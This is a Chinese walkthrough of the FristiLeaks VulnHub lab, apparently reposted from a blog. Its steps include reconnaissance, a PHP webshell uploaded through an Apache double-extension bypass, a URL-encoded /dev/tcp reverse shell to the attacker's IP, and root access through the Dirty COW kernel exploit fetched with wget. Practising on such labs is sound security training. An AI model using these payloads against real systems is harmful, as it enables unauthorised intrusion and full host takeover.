当前位置:   article > 正文

FristiLeaks靶场练习&详解&脏牛提权&base64解密&必练靶场

fristileaks靶场

下载链接:


FristiLeaks: 1.3 ~ VulnHubFristiLeaks: 1.3, made by Ar0xA. Download & walkthrough links are available.icon-default.png?t=N7T8https://www.vulnhub.com/entry/fristileaks-13,133/

安装:

vm虚拟机---->文件----->打开------>选择下载好的ova文件

开启虚拟机之前需要手动更改网卡的MAC地址(网络链接模式因人而异)

将网卡的MAC地址改为:

08:00:27:A5:A6:76

否则会扫描不到该靶场的ip地址

正文:

首先老样子先获取到靶场的ip地址

nmap -sn 192.168.1.1/24

(-sn:Ping扫描-禁用端口扫描,存活探测)

在获取靶场的端口并把结果输出到FristiLeaks文件夹下,命名为port方便后续查看

nmap -p- 192.168.1.3 -PN -r -oA FristiLeaks/port

(-p-:对所有端口进行探测

   -PN:用于禁用主机发现。这些参数告诉Nmap不要执行主机存活检测,而是直接扫描指定的目标

    -oA:输出到指定位置

     -r:连续扫描端口,并在扫描过程中随机排序目标端口。这可以帮助减少被网络防御系统检测到的风险。

看来只开放了一个80端口

那我们对该页面进行访问看看

这些可能为用户名,我们记录一下

其他并没有什么有用的动西,右键查看网页源代码

也并没有什么有用的东西,那我们对该网站进行目录扫描看看(dirsearch)

python dirsearch.py -u "192.168.1.3"

我们发现了一个  images  目录,进行访问看看

得到了一个这个图片(翻译过来为:这不是你要找的网址)

看来应该是还有目录没有被扫描出来

最够经过一系列痛苦尝试,发现目标url为FRISTI(难怪当初该单词翻译不出来)

输入正确的URL、

192.168.1.3/fristi/

来到了该界面,尝试使用万能密码进行登录

admin' or '1'='1

发现并不可行

bp抓包,把抓包数据存放到sqlmap目录下的1.txt

然后尝试sql注入

python sqlmap.py -r 1.txt --batch

最后失败

思路断了,那我们去尝试查看网站的源代码

发现了一封留言,留言人为“eezeepz”(我们需要清理这个以便生产。我在这里留下了一些垃圾,让测试更容易。)根据翻译,这个留言人信息可能会用得到,也进行记录一下

在下方,发现了一个通过base64加密的数据

经过解码后发现是个png文件

那我们尝试把该文件解密成png文件(在线Base64转图片 (lddgo.net)

最后得到了这个,

keKkeKKeKKeKkEkkEk

这个会不会是登录密码,再加上之前看到的留言人信息

我们进行登录尝试

登录成功

发现是个文件上传的链接

我们直接上传一句话木马试试

  1. GIF89a
  2. <?php
  3. system($_GET['132']);
  4. phpinfo();
  5. ?>

将代码保存为后缀是php的文件

(phpinfo():方便我们查看有没有解析成功)

规定只能上传后缀为png、jpg、gif文件

其他文件无法上传

经过尝试,bp抓包改后缀、00截断、二次渲染都实现不了文件上传,但是apache有文件解析漏洞(Apache HTTPD 多后缀解析漏洞 漏洞复现_apache http 多后缀-CSDN博客

那我们直接把后缀改为.php.gif,再次进行上传

上传成功

我们访问看看是否能成功解析

192.168.1.3/fristi/uploads/muma.php.gif

解析成功,那我们给“132”传参试试

(该一句话用system可以传参数进行远程代码执行,不可用蚁剑等链接,用eval可以用蚁剑链接)

(在这里我没选择用蚁剑)

192.168.1.3/fristi/uploads/muma.php.gif?132=id

获取shell

那我们直接就反弹shell

在kali中开启nc,监听8080端口

nc -lvvp 8080

反弹shell

sh -i >& /dev/tcp/192.168.1.6/8080 0>&1

(要进行URL编码再进行反弹shell,因为我们是在URL中输入,该指令的“&”符号在URL中的意思为传参数,所以要进行URL编码,该指令才会正常运行)

编码后

%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%2e%36%2f%38%30%38%30%20%30%3e%26%31

完整payload

192.168.1.3/fristi/uploads/muma.php.gif?132=%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%2e%36%2f%38%30%38%30%20%30%3e%26%31

反弹成功

提权

接下来进行提权

在 Linux 系统中执行的用于查找具有 Setuid 权限的文件的命令

find / -perm -u=s -type f 2>/dev/null

我们可以在该网站上看有没有可以利用的东西(GTFOBins

只需要复制具有setuid权限的文件名称到该网站上就可以查看对应的使用方法

既然没有我们可以利用的文件

那我们来查看内核,看能否用内核提权

我们在shell处输入其他某些命令时会提示无法输入(大概吧)等提示字样,因为该靶场我做过了,所以没有出现该提示

所以我们需要使用python新开一个交互页面

python -c 'import pty; pty.spawn("/bin/sh")'

(这段代码是一个简单的 Python 命令,用于在 Python 解释器中调用 pty 模块,并使用 /bin/sh 启动一个交互式的 shell。在该网站上Spawning a TTY Shell-逃逸linux各种shell来执行命令 - lsh4ck's Blog (lshack.cn)有Linux各种Shell来执行命令)

查看linux内核版本

uname -a

内核为2.6.32

我们新开kali窗口,搜索linux 内核提权(kernel 2.6 Privilege Escalation:内核  2.6  权限提升)

searchsploit linux kernel 2.6 Privilege Escalation

(searchsploit是一个非常实用的网络安全工具,它是Exploit-DB的一个命令行搜索工具。Exploit-DB是一个公开的漏洞数据库,包含了大量的漏洞利用程序)

经过各种脚本尝试,我们最后还是选择了脏牛提权

searchsploit linux dirty

选择符合我们要求脚本

将43199.c文件复制到当前文件夹

searchsploit linux dirty -m 40839.c

在kali中43199.c文件目录下打开http服务

python3 -m http.server 8888

在shell中切换为/tmp目录,该目录权限一般会较高,防止无法获取文件

wget http://192.168.1.6:8888/40839.c

获取成功,编译一下(GitHub - firefart/dirtycow:Dirty Cow 漏洞 - CVE-2016-5195 脏牛漏洞github文档)

gcc -pthread 40839.c -lcrypt

编译成功后会在当前目录下生成  a.out文件

./a.out

运行一下

该脚本会直接创建一个管理员用户并命名为:

firefart

我们需要给该用户设置一个密码

如果出现该提示,我们直接ctrl+c退出shell,在kali中重新打开nc进行监听8080端口,然后重新在网站输入我们的payload进行再次链接

在网站输入我们的payload

192.168.1.3/fristi/uploads/muma.php.gif?132=sh%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.1.6%2f8080%200%3E%261

我们需要重新输入

python -c 'import pty; pty.spawn("/bin/sh")'

打开一个交互页面

不然会提示

然后我们切换到脏牛为我们创建的用户

输入密码,提权成功

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/盐析白兔/article/detail/777811
推荐阅读
相关标签
  

闽ICP备14008679号